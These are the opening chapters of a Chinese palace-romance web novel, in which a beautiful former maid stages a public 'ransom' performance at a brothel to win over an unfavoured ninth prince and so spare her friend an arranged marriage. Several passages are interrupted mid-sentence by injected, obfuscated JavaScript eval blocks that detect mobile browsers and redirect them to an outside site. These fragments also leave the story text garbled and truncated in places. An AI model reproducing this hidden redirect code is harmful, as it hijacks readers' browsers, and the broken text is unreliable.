《殿下他沉迷自我攻略》 1. 婚事 夜南,永光二十二年。 瑞年已过,刚开了春不久,今年确是比往年暖和的早,宫中又在为各些仪式做起打算。 瑶华公主四年前就招了夫婿,这位驸马乃是当届状元郎,品行相貌皆是不错,夫妻二人婚后也过的美满。万楹公主今年才十三岁,年岁还尚小,正是天真可爱的时候。 除了两位公主以外,永光帝膝下九子还余五数,几人却是一个也没有娶妻。 五皇子容烨册封大典在即,因此太子妃人选需要谨慎一些倒也无可厚非。其余几位弟弟年纪皆在弱冠,成家之事暂不考虑也还说得过去。 容瑾十五岁便被封了璟王,如今已有七载。夜南人人皆知容瑾面若冠玉生得一副谪仙模样,在京都颇负盛名,许多名门贵女和坊间姑娘都十分向往,挤破了头向他示好。他的文采武略更是非凡,当属得上人中之龙凤。 朝中百官皆以为最先迎娶王妃的应当是这位璟王殿下,不料今日下朝回府,当朝丞相之女祝音却在饭桌上砸了碗筷摔门而出。 - 皇都恕城,流月坊。 大堂之中香烟袅绕,脂粉味道香得人头晕目眩,满阁皆是暧昧颜色,祝音一身拙劣的男装打扮,面上却是红唇粉黛,十五岁的年轻面庞姣好稚嫩,任谁都看得出这分明是个姑娘。 只是不知道这姑娘男扮女装进青楼做什么? 祝音挪着细碎的步子往阁楼上去,身边的男男女女衣衫不整,在廊上环抱拥吻毫不避讳,祝音看得小脸儿通红,抬起袖子半掩着眼帘不去看他们。脚下步伐越显急促,她也越是看不清路,一不小心就撞上了旁人的肩头。 那人被惊扰了好事,低声咒骂:“哪里来的小娘子生了眼睛却不长眼仁!” 祝音权当没听着,缩着头硬是往三层阁楼最北里挤。 雕花粉绸的红木门“吱呀”被推开,“咚”的一声,祝音连身子都没转过去又重重的将门挤上。 这一串动作结束,祝音长出一口气,惊觉额头上因为羞赧和紧张已经渗出一层香汗。 铜镜前穿着单薄寝衣,身段阑珊的女子正坐在楠木方凳上,葱白的细指捏着把黑檀木梳,正在梳理她柔顺如瀑的一头青丝。 听见闺阁房门有人闯进,她缓缓把手上木梳置于台面,没觉得惊讶,也没觉得这么晚了有什么不妥,显然是对这动静极为熟悉的。 纤纤柳腰微转,千裔清侧过身看向来人,五官精致如画纸上描摹,眉眼唇峰皆是惊艳,额间的清冷淡雅却如水墨,宛若出尘的仙子。明艳的倾城容貌与超脱世俗的气质看似矛盾却又完美的融合在她身上。 毫无疑问,这是个绝色女子。 千裔清掀起眼帘看着祝音:“都已经过了酉时了,你打扮成这样出府不怕丞相责罚?” 祝丞相家教严苛皇城中都是知道的,但此时祝音也顾不得这些了。 祝音气鼓鼓地往方桌边一坐,随手端起圆桌上只剩下半盏的微凉茶水,也顾不得旁的许多,猛灌了一口,她这才慢慢顺匀了气儿。 祝音委屈地瘪着嘴,双臂在桌面一瘫,眼巴巴地看着千裔清哀求道:“千千姐姐,你想个法子救救我吧!” 千家原本是在皇都边的小镇经营琴肆的,父母恩爱,日子过得也算宽裕。 可惜天不遂人愿。一日,木商说是得了批材质极好的杉木和桐木,可惜琴肆生意红火,父母都走不开,这才让千裔清跟着去镇外看货。小姑娘眉欢眼笑回到镇上时却见整条街上围了个水泄不通。 有人失手打翻了店中烛台,原本的琴肆烧成了破烂架子,听说铺里死了一位客人,还有重伤者正在被人用架子往外抬去医馆,看他们胳膊处裸露的焦黑皮肤,也不知有没有希望救的回来。 而她的双亲则为了救人皆葬身于火海。 重伤客人的亲属事后上门问罪,事发之时千裔清本就不在现场,即便有嘴也是说不清的,再加上家里被烧的一片狼藉,更是找不出什么财物能赔予对方。 带着身上付完定金剩下的几钱碎银,千裔清逃到了只有一村之隔的皇都恕城,没想到刚一进城,滋事者竟紧追了过来与她纠缠。恰逢祝丞相从礼部尚书家回来路遇此景,给了对方一大笔银两解决此事,千裔清也顺理成章的进丞相府为婢,那年她刚十七岁。 祝家长女幼年夭折,千裔清侍奉的是祝家的小姐祝音。祝音待她极好,并不像寻常主仆那样生分,偏巧这祝音还有个常年不在家的纨绔兄长,兄长并非嫡出,而是祝家妾室所生。 两月前,祝纶在府中遇上了从厨房出来的千裔清,遇到这等天仙似的会作何反应自然是可以想象。好在祝丞相在府中听到吵闹声制止了这场闹剧,但祝纶的母亲何姨娘却打定主意认为她是个勾引主子的狐媚坯子。 丞相带着祝音出门,何若芸仗着自己得宠,夫人又久病着不管事,家中只剩她一位做得了主的人,便偷偷将千裔清卖去了流月坊。 祝丞相觉得千裔清只是一个婢子,不愿意为此跟何若芸闹得不愉快。祝音只好自己带着私房钱去流月坊为千裔清赎身,好在赶上了。 相府容不下千裔清,祝音一时也想不出好去处,只好又多给了张妈妈一笔银钱让千裔清暂时留在这里。这一耽搁就是两个月,千裔清随遇而安,她觉得在这里住着也挺自在,除了有时候出门会被喝醉的客人当成坊里挂牌的姑娘争执几句,别的也没什么。 祝音这小丫头三天两头来这里跑,时常会对她倒些苦水,这次到来千裔清也不觉得意外,只当她是又在家受了何姨娘的委屈。 千裔清拢了拢额边的长发,从梳妆台前缓步来到她身边,问道:“怎么了?你先说说看。” 祝音忙正襟危坐,只是一想起方才父亲在饭桌上提起的那事儿就觉得一肚子委屈,眼圈儿一红又要落下泪来。 千裔清拍拍她的头,清冷的脸上终于有了一丝暖意,她看着祝音,柔声道:“是何若芸又找你麻烦?还是祝纶又对你说了什么不中听的?” “不是她们。”祝音吸吸鼻子抬头望着她,终于压住情绪缓缓开口,“父亲说......我要嫁给九皇子了。” 不是二皇子、不是五皇子,也不是别的几位,而是年纪最小的九皇子。 九皇子容怀瑕,生母不详,只听说是永光帝出巡时在外留情的结果。母亲死后,这位九皇子虽然从小被养在宫中,但许是永光帝与其生母之间有什么芥蒂,因此容怀瑕一直是最不受宠的一位皇子。 千裔清在记忆里搜索了好一会儿才想起这个人来。 “丞相不是知道你爱慕璟王吗?” 祝音摇摇头,若是丞相的意思她倒也用不着这么急了。“是皇上的意思......今日退朝,皇上将父亲传至正珵殿,说是九皇子与我年纪相仿,问我父亲意下如何。” “父亲知道我和玉衡 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14899837|160082||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 哥哥交好,也知道我自小就爱慕于他,这才回了皇上说要先问过我再来答复。”说到这里,祝音叹了口气,语气又无奈了几分,“千千姐姐,既然皇上亲口提了这事儿,还能由得我回绝吗?” 祝音恨恨地跺脚,还在不住的埋怨:“我就不明白了!皇上明明知道我和玉衡哥哥走得近,与那九皇子见都不曾见过,为何还要将我许给他?皇上是不是觉得我配不上......” “不是。” 千裔清打断她的猜测,垂眸思索了一会儿。 很快她就想明了其中缘由,她看着祝音道:“皇上不是对你不满,他是忌惮祝丞相。” 祝既明身为丞相,在朝中势力一直不遑多让,有许多拥护之人。 璟王容瑾德才兼备,又是仅剩的几个皇子中最年长的,而五皇子是皇后所生,也是永光帝最喜欢的儿子。因此这两人一直是所有人心中最有希望立为太子的人选。朝中大臣也渐渐分为了璟王党和五皇子党两个派别。 祝既明自然被公认进了璟王党。 偏偏永光帝还是更偏心于五皇子,立储仪式还未举行,但诏书已经下了。永光帝这是担心以后璟王与五皇子夺权,想替自己的儿子铺路,先斩断心中认定的璟王身后最大的支持者。 不过他确实想多了,祝既明并不打算站队,他与璟王有所往来也只是因为自己的女儿祝音。 而璟王好像也从未对太子之位表露太多兴趣的样子。 永光帝能为五皇子做到如此,对九皇子却...... “这位九皇子还真可怜。”千裔清忍不住摇头暗叹。感叹过后,她还是把心思放回正事上,“依我看,这件事还有转机。” “真的?”祝音兀的眼睛一亮。 千裔清捋着胸前长发,一句句的缓缓道来:“既然皇上今日才问过丞相这事,近几日自然是定不下来,至少要等立储仪式后才会有下文。再说,即便真的定下来,只要不到成亲那一日也是有机会退婚的,你先放宽心。” “再怎么说九皇子也是皇上的亲儿子,你拒绝不得他却可以,他不受宠,自然也没什么顾忌,若是真不愿娶你,皇上也不会强逼于他。” “那万一皇上真的强逼他呢?” 千裔清笑了笑,笑容明媚娇艳,她说道:“皇上可以强逼得了他,却不能强逼得了你们两个,就算他真的要强逼你们两个,还有璟王呢?” 她这话说的已经很明白了,只要容怀瑕一口回绝,祝音便可以顺理成章的附和婉拒。即便还是不成,但若是这段时间里她能与璟王更近一步争得璟王出面......那皇上断是只能放弃此事的。 祝音一听,觉得这话说的在理理,立刻眉开眼笑起来,全然忘了自己刚来时候的狼狈模样。 但仅仅一瞬,她又拉下脸来:“听闻九皇子一向乖巧懂事从未忤逆过皇上,他又怎么会因为我开这先例?” 千裔清伸出右手,在祝音柔嫩的小脸上轻轻掐了一下,瞳孔中闪着宠溺。 “他才十七岁,总不至于问也不问就跟一个陌生女子定了亲,再说不是还有我呢?” “你想做什么?”祝音眨眨眼,不太明白她的意思。 末了,千裔清自信的笑了笑。 “你且记着,他讨厌什么样,你就是什么样。” 至于她自己...... 他喜欢什么样,她就是什么样。 2. 赎身 千裔清清楚自己一无出身二无文墨,硬要说的话,她空有一张祸水皮囊。 她其实并没什么自信那位九皇子当真看得上她。 若是寻常人家的男儿,亦或祝纶那种纨绔少爷,倒是可能拜倒在她裙下。但容怀瑕是皇族子弟,什么样的姑娘没见过?又听闻这位九皇子不但为人谦逊待人有礼,各个方面也都颇为上进,断然是不会那么肤浅看人的。 但无他法,如果换了旁人她定是不会管这闲事,可祝音于她不一样。 祝音在相府真心待她,出府又尽心护她,从未把她当奴婢使唤。若无祝音解救,她可能已经深陷流月坊沦为玩勿。 再是追溯,若无相府这一遭,她或许已经被卓边小镇上那群人撕碎丧命了也说不定。一年多来,她对相府是感激的。 因此无论如何,祝音的事她必须管。 - “哎,听说流月坊的清影小娘子终于准备挂牌接客了?” “你听错了!人家那是要找人替自己赎身呐!” “赎身?这等绝色佳人不知要多少银钱才能揽入怀中啊!” “张妈妈已经择好日子开盘竞价,我等非富非贵,还是不要肖想啦......” 祝音竖着耳朵侧目听完,眉头不自觉的皱紧,再看向身边的千裔清眸色不变,正与方才高声议论那人群擦肩而过。 她今日一身水色素裙,梳了个简单的垂髻,又遮了层柔纱面帘,这等朴素装扮想必不会被人认出她就是那位流月坊的“清影”。 今天是三月初五,距离册封太子还有五日,也就是说,祝音与九皇子的婚事怕是拖不下去了。 这一个月以来,千裔清一刻也没闲着,除了一直在为登台那日做准备,街头巷尾的闲语也是她刻意所传。 但祝音不明白她为何要这样败坏自己的名声,女子名节最为重要,她本是藏身于流月坊中的清白姑娘,如今却突然成了这阁楼中的挂名清倌儿。 “带着青楼女子的身份,不是更难入贵门世家吗?” 千裔清并不在意这些,她道:“你只管听我的,三日后约他见面,随意找个理由拉他进流月坊。” 祝音不知道千裔清想的是,索性她也不会真与那九皇子纠缠太久,只要搅黄了两人婚事便能功成身退。若实在勾搭不成,传出那位皇子与青楼女子纠缠不清,兴许皇帝为了脸面也不好再坚持吧? 出此下策,实在是为确保这件事万无一失。 千裔清带着祝音进了琴肆,凭着自己从小的耳濡目染选了把心仪的秦筝,她在弦上随意拨弹几下,筝音如流水潺潺入耳,她点点头,很是满意。 至于为什么买琴还要带着祝音——因为她没钱。 “可是我一个姑娘家......这么堂而皇之的去找九皇子不合理数吧?”祝音为难道。 千裔清淡淡扫她一眼,抱着琴径自往外走。 “要么去找他,要么嫁给他,你自己选吧。” 祝音一听便急了,踩着步子忙追上了去。 “欸!我去还不成吗!千千姐姐你走慢点儿,你抱着那秦筝不重吗……” - 三月初八,已经快过未时。 堂下宾客满座,人多的已经站出门外。门外人影也未停,离得远的甚至在街对面架了凳子踩上,伸长了脖子朝里面张望着,只为凑一凑热闹。 这般场景,不知道的还以为有什么稀世珍宝要出阁。 这话倒也不错,的确是有珍宝要从这流月坊出阁去,只是要去到哪户人家,这便没人清楚了。 “都等了半个多时辰了!怎么还不开始啊?” “这清影小娘子也太拿自己当回事儿了吧,好大的排场啊!” “莫不是突然反悔,不想从良了?” “那可说不一定,在别人深宅后院哪有这里快活啊?哈哈哈哈哈——” 层层交叠的霜色纱幔从阁楼顶上一直向下蔓延,垂于一层高台之上,将内阁大堂一分为二,外边是宾客,里边是流月坊的姑娘们。 千裔清在二楼栏后迟迟不肯露面。她面上并无半分紧张,也好像根本没听到众人口说纷坛。张妈妈却是听不得堂下客人越发难听的话,她倒不是为千裔清不平,只是担心此举怠慢了客人,唯恐影响日后生意罢了。 “我说千……清影啊,究竟是哪家的公子能让你如此痴心苦等?”张妈妈捏着丝绢,抬手往楼下一指,嘴里念叨着,“你看看!楼下这么多人可都是来看你的,瞧那刘公子!模样家境也是不错......” 千裔清并不看她,一面侧过肩头颔首,目光透过层层银纱的缝隙在楼下扫过,一遍一遍地寻着什么。 她继续敷衍:“张妈妈放心,今日竞价不论多少我都分你五成,只要你按我说的做,我保你今日大稳赚不赔。” ”这……”听到这话,张妈妈果然犹豫了,她最终没抵过钱财直面的强烈诱惑,一咬牙道,“那成!我先下去替你抵挡一阵子,你可得尽快啊!” 有钱能使鬼推磨,张妈妈得了承诺,伸手抚了抚脑后发髻上偌大的牡丹簪花,整理着美好的姿态,摇着团扇下楼去了。 祝音为何还不现身?是九皇子不肯见她,还是说......这小丫头临阵脱逃了? 若祝音真来不了她要如何收场,横不能真给自己卖了去吧? 千裔清自己也觉得心里没底,早知道应该交代清楚,若是祝音真的无法脱身,也该留个人来陪她做戏的。 正这么想着,楼下门外突然传来一声惊呼,好像是在说什么人过来了。 千裔清没瞧见人影儿,只听得楼下人多声音又嘈杂,听不真切。她绕过红漆石栏,猜测是她等的人到了。 门外动静越来越大,千裔清缓步走着,稍稍瞥去,堵在门前的众人竟是让开一条宽敞的道来了。 很快,宽敞的大道迎面进来一行四人。 这四人皆是俊朗无比,气质非凡。 尤其是为首的男人,一袭缟羽锦袍,眉眼如星如月,薄唇微微上扬,尤其生了一双极为好看的丹凤眼,透着股慵懒邪魅的劲儿,再瞧这人闲庭信步从容悠闲,让人不禁产生一种身处之地并非青楼而是宫宴的错觉。 千裔清有幸在相府见过,所以是认得他的。 不光千裔清认得他,夜南几乎所有的姑娘都认得。 璟王容瑾。 听闻七皇子前些日子南下,正在快马加鞭的往回赶,如今身在皇都的只有四位皇子。想必就是这几人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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丝竹声娓娓道来,霜色的帷幔如幕布一般,幔前的姑娘们赤脚在高台上翩翩起舞,形形色色如天庭盛会。 只是今时不同往日,堂下的客人等了太久,实在被吊足了胃口,再见到这些熟面孔自然不买账,不满和讨伐声愈演愈烈。 台下还有几位不能得罪的皇亲贵胄,小娘子们不敢发作,只好停了表演,手足无措的瞥着一旁的张妈妈,看起来好不可怜。 张妈妈忙与阁楼顶上几个小厮打了手势。 姑娘们接连退场,阁顶天窗被人推开。 细碎的夕晖透过楼顶洒进坊间,柔和的光恰好笼着高台上的帷幔,这些霜色的薄纱如同被染了颜色,变成了浅金色的。 阵阵微风从窗口溜进来,层层金纱被风拖拽着、摇曳着。 众人不明所以,流月坊这是演哪一出? 议论声在台下起伏,正要闹到不可收拾时,一抹倩影自最里头缓缓而出。 那身影纤细苗条,步伐轻飘飘的穿梭于一层又一层的金色之中。映在纱上的影子如在夕阳下波光粼粼的水面上轻巧掠过的蝴蝶。 3. 倾心 琴声绕梁,如空谷幽兰一般美妙,与帷幔之后起舞的女子身影完美配合,却是另一种神仙意境。 流月坊的女子虽各有才情,但流落烟花之地不免会染上些世俗,时间久了,更有甚者为了迎合那些入幕之宾而无所不用其极。 这般表演倒是别出心裁,算的上这坊中一股清流。 前戏铺垫够了,阁楼顶上引着线的人互相看了一眼,手上动作出奇的一致。 一剪下去,几片轻纱再无牵引,皆随着风飘然落地。 看客眼前再无障碍,却见眼前的小娘子一身霜色白裙,发髻在脑后随意的挽了一半,并未钗任何头饰,气质素净纯洁的如同画中刚刚睡醒还未梳洗的仙子。 但这仙子显然有心卖个关子,还以面帘掩之。 琴声突然转了音调,一曲《彩云归》缓缓道来,似低语,似愁诉。 台上的妙人儿和着音律转了个身,一动一声,轻轻舞了起来。 “好美啊,清影姑娘真不似凡间俗物啊!” “也不知道今晚这朵娇艳鲜花究竟会落入谁手......” 也有不耐之人高声喊着。 “我说清影姑娘!你既要为自己赎身,何故还蒙着脸?” “就是啊!我们都是你的客人,你这样未免太不拿我们当回事儿了!” “说实话,蒙着脸看,这舞跳的也寻常!” 千裔清没理会那些人,她当然知道自己跳舞一般。她本身并没有基础,这舞统共也不过练了一个月,全靠着旁的设计和巧妙心思这才敢上台一试。 而且,她也只会这一支。 面上被遮掩的仅剩一双柳叶弯眉和勾人心魄的眼睛,她冷然扫过台下上座的四人,目光与那人懒散的丹凤眼对视一瞬后很快错开。 璟王微微一笑,转头看向身边的几个皇弟。 “五弟觉得如何?” 容烨面上波澜不惊,淡淡道:“心思比功底更甚。” 璟王一怔,赞同地点头,依旧维持着那副笑颜。 “八弟觉得呢?” 武安王对这种烟花之地的女子十分瞧不上眼,他不屑地冷哼一声。 “矫揉造作!” 璟王显然猜到他会如此反应,顿了顿,终是看向边上坐着的年纪最小的弟弟。 “那......九弟呢?” 容怀瑕一脸的心不在焉,这种舞姬连宫中宴会上的伴舞都比不过。他思索片刻,还是委婉了一些。 “一般。” 千裔清此时步子恰好落在近前,轻飘飘的二字一出口,话音刚好落在她耳边。 她身形一顿,舞姿戛然而止。 千裔清对着台下众人欠了欠身,玉色的纤指勾上耳后,面上一层薄纱被缓缓揭下。 众人倒吸一口冷气,无不惊艳于她的美貌。就连方才说她舞姿寻常那人也是赞道:“这面纱一摘,忽然觉得方才那舞姿宛如仙人啊!” 面对他人的纷纷议论,她好像没听见一般,只是站在台上,就这么紧盯着那位看起来温润清秀的少年。她的眼睛弯成了月牙儿形状,琉璃般的瞳孔中闪着动人的光泽,欲语还休。 容怀瑕觉得被人这样盯着不太舒服,却也并不畏惧,也回之以坦然的目光。 后排的客人离得远,看不清楚前边儿发生了什么,只当千裔清是在人群中选中了自己的心仪之人,看得痴傻了。 “清影小娘子不是要为自己赎身?还不快些报价!” 后方人群小中传来一阵附和。 璟王勾着唇,一副看好戏的样子:“清影姑娘莫不是心中有了人选了?” “该不会是看上哪位皇子了吧?这清影心气儿也太高了!” “要我说,这等倾国容貌即便当不了太子妃,当个侍妾也是享不尽的荣华富贵啊!” 千裔清浅笑,又对着璟王恭敬施了一礼,她老老实实答道:“回璟王殿下,是的。” 璟王一脸惊讶的“哦?”了一声,余光却悄悄扫过角落的少年,他又问,“不知清影姑娘看上了哪家公子?” 千裔清又是盈盈一笑,伸出手指着容怀瑕直白说道:“我想跟他。” “居然是九皇子!” “放着璟王和太子不选,为何偏要选这位最不受宠的九殿下?” “是啊是啊,还有武安王,虽然脾气差了点但也是国之栋梁啊!” 千裔清下了台,一袭白衣施施然来到容怀瑕面前,她眼波流转,柔声道:“殿下,奴家的舞是为你跳的。” 武安王一听便不悦了,他撇着嘴一脸嫌弃。 “九弟说了,你舞跳的一般。” 容怀瑕一滞,眉头微微蹙起,他沉声道:“我还未打算娶妻。” “殿下不必娶我,只要能跟着殿下便是奴家的福分了。”千裔清又说,“奴家舞艺不精,但有一曲还想请殿下听听。” 说完,她不等容怀瑕答话,一拂长袖转身而去,清瘦的背影缓缓来到台侧,她抱着前几日亲自去选的秦筝在台中心就坐,对着容怀瑕轻扬唇角,双手从袖口探出扶上琴弦。 琴音流转,婉转动听,曲调哀怨,诉尽衷肠。 莫把幺弦拨,怨极弦能说,心似双丝网,中有千千结。 她奏的,是一曲《千秋岁》。 稍懂音律之人便听得出,这其中表达爱慕之意再明显不过。 曲毕,她抱着琴再来到容怀瑕面前。 反倒是容烨最先赞道:“这琴声倒是不错,清影姑娘可否再奏一曲?” 容烨最懂音律,能听得他赞一句不错,那一定是真不错。 “不行。”千裔清摇头,目光幽幽落在容怀瑕面上,她羞赧道,“奴家的筝也是为九皇子殿下奏的。” 自小听父亲弹奏这首曲子,她觉得好听,无事便跟着学。弹奏多年,因此这琴音必然不错。 但她不能再奏一曲。 正如舞蹈一样,曲子,她也只会这一首。 容怀瑕思虑片刻,一脸抱歉的看着她:“在场多的是青年才俊,清影姑娘还是另择他人吧。” “可奴家只想跟着殿下。”千裔清颇为坚持,目光坚定,在他脸上半刻都不肯离开,打定主意要跟着他。 容怀瑕一时默然,千裔清打量他一眼便看出他是在考虑以什么借口拒绝。 其实贵为皇子,他想做什么不想做什么,都是旁人逼迫不得的。除了当朝天子。 不过容怀瑕不一样,他出身不好,又不得皇上偏爱。再加上自身素来谦和,从不端皇子架子,因此在面对千裔清时,他第一反应不会是言辞拒绝,而是尽可能不要当众让她出丑。 正是吃准了他的善良她才敢这么做。这样一想,她还真觉得有些对他不起。 容怀瑕转瞬找好了说辞,他面色为难道:“今日堂下满座,清影姑娘开盘 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“收拾好了。”她朝门外张望了一下,确认再无其他人,于是问道,“九皇子呢?” 璟王并没有答她,兀的问道:“你可是真心喜欢我九弟?” 千裔清乖巧答他:“奴家对九皇子一见倾心。” 璟王冷冷一笑,全然不似他平日挂着笑好脾气的模样。常听说璟王两幅面孔,好的时候极好,狠的时候也极狠,看来不是空穴来风。 他抿唇,语气冰冷:“这里没有旁人,你不必跟我装了。” “璟王殿下的话,奴家听不懂。” “我之所以帮你,是因为渺渺说不想嫁给九弟,求着我带他来你这里。”他稍稍一顿,又说道,“千裔清,你我也算是旧相识了,我奉劝你一句,若是跟了他便好好跟着,莫要伤了他的心。” 且不说容怀瑕对她并无情义。她做这些事对自己可是毫无利益可言,璟王这话说的,把自己撇的倒干干净净。 千裔清也懒得再装出那副娇媚做作的样子,她抬起眼帘,眉间一片傲然。 “既然璟王殿下这么看重兄弟情义,为何又要帮我?难道殿下就没有一点儿私心?” 璟王眯起眼睛,眸中闪过一丝危险的神色,他唇角微垂,“你想说什么?” 千裔清笑了笑,丝毫没有面对皇族之人的慌乱和大不敬之感,她一字一句,冷冷盯着璟王。 “我想说,若九皇子拒了这桩婚事,你会不会娶祝音?” 4. 麻烦 容怀瑕是几位皇子中年龄最小的一个,如今还没有封王,因此理应居于宫中。 但宫中不比外头,坊间百姓惧于他的皇家身份对他必然敬畏。但宫中人都清楚他的处境,不仅常有宫人私下对他议论,还有些正得圣宠想着诞下皇子的娘娘对他颇为冷眼,时不时的还要讽刺挖苦几句。 永光帝态度默然,对一切都看在眼里,但却是并无反应。 容怀瑕饱读诗书,也是个识趣聪明的。去年下第一场大雪以前,他就已经在外买了一处简单的宅子,身边除了自小跟着他的侍卫以外,只有极少几个打理宅院的家仆。 平日里他都住在宅院中,若非必要,他是不太进宫的。 千裔清放下马车窗子的帘幔,这果然不是去皇宫的方向。 这样也好,若真是让她进宫做了婢子,比之在相府更加麻烦,以她这种姿色,兴许一不小心小命儿就没了。 想到这儿,她不免觉得有些舒心,紧接着脑海中又回想起起方才璟王的沉默,对于她的问题,璟王并未回答。 莫不是祝音痴心错付......再想到这儿,她又觉得舒心不起来,暗自叹了口气。 “你不必担心。” 千裔清抬头,脸上挂着些许错愕,她倒是忘了这马车里还坐了别的人。 “殿下说什么?” 容怀瑕以为她还在介意方才流月坊被拒一事,他解释道:“你不必担心,虽是二哥将你赎了出来,但我也不会苛待你,你做什么便做什么,若是日后你有了自己的打算和我说一声即可,我送你离府。” 她先前听容怀瑕的嗓音只感觉低沉冷冽,像是千年不化的雪山一般颇具磁性,偏巧性格又极好,生得剑眉星目五官精致,是个俊秀的谦谦君子模样。 也是个带着不可言说的矛盾感之人。 千裔清陡然想起自己如今扮演的角色,她浅浅一笑,脸上泛起一丝红晕,像极了害羞。 “殿下肯让奴家跟着,奴家已是感激不尽。” 容怀瑕蹙眉,对她这自称表示不满:“既已赎身就算是脱了贱籍,以后不要这样称呼自己,更不可妄自菲薄。” 这两年来她听惯了府中旁人的奚落,从未听人对自己说过这种话,一瞬间怔然,她讷讷的应了声:“好”。 容怀瑕,当真是好。 - 容怀瑕素日里除了把自己关在阁楼中读书写字便是在大院中练练兵刃,总之是不爱出门的。 但今日是太子行册封礼的日子,容怀瑕难得一大早进了宫,他向来知礼数,自然不会在这种时候被人挑了毛病。 千裔清名义上是他买回来的青楼女子,但也正如容怀瑕所说,她在这宅院中想做什么便做什么,想去哪里也无人问询,包括容怀瑕。 她就像这宅里的租客一般,还是颇为自由的。终于等到宅院主人不在,安分待了两日的后宅娇娘也总算逮到机会出门。 相府侧门。 绿铜门环敲了四声,红漆木门很快从里头被推开,开门之人一副小厮打扮。 但见了来人之后小厮一愣,脱口而出:“千千姑娘?你怎么会在这儿?” 他对着院里四下打量了一圈儿,确认没人才压低了声音问道:“你还敢回来!不是说偷了何姨娘的饰物逃出城了吗?” 这些说辞自然是何若芸为了堵住众人悠悠之口,也为断了自己那不争气的儿子念想所编排的。 千裔清摇了摇头,懒得与他争执。 “小姐在府中吗?” “在呢!不过少爷跟何姨娘也在......你可要进来?” 她知道今日册封大典祝丞相必然也不在府中,只是没想到祝纶也在,还是少惹麻烦为妙。还好她早有准备。 千裔清从袖口中取出一封折好的信纸,上面是她写好的茶楼地点。 “劳驾替我把这个交给小姐,今日之事不要对旁人提起。” 千裔清想了想,又在腕上取下白翠玉镯。她一贫如洗,这玉镯虽不值几个钱,但总好过没有。 将镯子递过去,她郑重道:“麻烦了。” “不麻烦不麻烦!千千姑娘说的哪里话......”小厮口中虽是这么说着,手上动作却很诚实,几乎是无半分犹豫的攥在手中收下了。 千裔清转身先去了茶楼,为了避免麻烦,她还是离这相府远些,以免被人看到传出她与祝音相识的关系。 - 轻舟泛月,共赏佳景。 这泛月楼位置偏颇,环境却极雅,尤其夜景十分好看,高楼眺望,还看得到不远处溪边的风景。 一身梨色长裙的少女挽着双髻,脚下步伐匆匆,连楼下小二的招呼都没理会便直冲二楼雅间。 青瓷盏里的茶水还是温的,千裔清远远眺着溪面上披着斗笠撑蒿而行的渔夫还在视线中并未离开。 离开相府不过半柱香的时间,祝音到了。 千裔清打量着她祝音:“怎么喘成这样?有人跟着你?” 祝音接过她推来的茶盏,终是顺匀了气息。她点点头,又摇摇头。 “出门的时候被律章哥哥瞧见了,他随口问了我一句......不过我没告诉他我是来见你的!” 祝纶仗着自己是家中唯一的男丁,又因为自己的母亲何姨娘名分上被祝音母亲压上一头,因此总是在一些小事上给祝音使绊子,借机逞逞威风。 万一祝纶真的跟出来发现她还在城中也便罢了,可要是还顺便传到了容怀瑕那儿可就麻烦了。 还是长话短说吧。 千裔清顿了顿,说道:“那天在流月坊多亏了璟王相助,也多亏了他,这事也算闹得人尽皆知了,想来皇上顾忌相府的面子应该能缓上两天。” 祝音一脸的愧疚:“我只是跟玉衡哥哥说不想嫁给九皇子,请他替我把九皇子带去见你,旁的我一概没说的......没想到太子他们也会跟去。” “这倒也没什么。”千裔清不在意道,“九皇子待我不错,在他府上总比待在流月坊要好得多。”说完,她又轻笑了一下,印证自己如今的日子过得的确不错。 祝音怔然,歪头表示疑惑:“难道你真的想嫁给他?” “......你不会真的看上他了吧!” 千裔清庆幸两人这是在雅间中,不然以祝音这一嗓子出来,怕是要吸引不少围观群众。 千裔清揉揉 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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陆离一贯的板着脸道:“殿下入宫便是回家,不需要我保护。千姑娘,你以后还是叫我陆离吧。”他稍稍转动几分侧脸,带着怀疑的目光看着她,“千姑娘这是去了哪里?怎么也不知会一声。” “去街上随意转了转,左不过几步远。”千裔清捋着胸前的长发,微微一笑,十分自若的回答他。 然而这般镇定也并没有打消陆离的疑虑,他与千裔清同岁,都比容怀瑕年长一些,且陆离本来就是个谨慎多疑的,否则也不会跟在容怀瑕身边。 “姑娘下次出门还是提前知会一声吧,若是出了什么事我怕跟殿下交代不起。” 千裔清闻言一挑眉梢,心觉这人可能是个麻烦。 她面上含笑,看起来很是谦和温顺,嘴上却有些阴阳怪气,不肯认输。 “殿下都许我可以做自己想做的事,怎么你陆侍卫还要限制我的自由不成?” 果然,陆离微微颔首,嘴角抿的紧了些。 两人就这样站在前,一个在里头,一个在外边,仅仅一道门槛之隔。 院墙中的柳树长得翠色浓郁,纤长的枝条悄悄攀上墙壁越过高沿。微风拂过,细嫩的柳条随风而动,与泥墙互相磨蹭着发出窸窸窣窣的声音。 眼见着气氛有些剑拔弩张,一道冷冽冰凉的声音却突然在周边响起,还带了一丝颇为明显的疑惑。 5. 一吻 丝缎装裹着四面,车沿边角挂着汉白玉,整个车身镶金锻银看起来很是富贵。 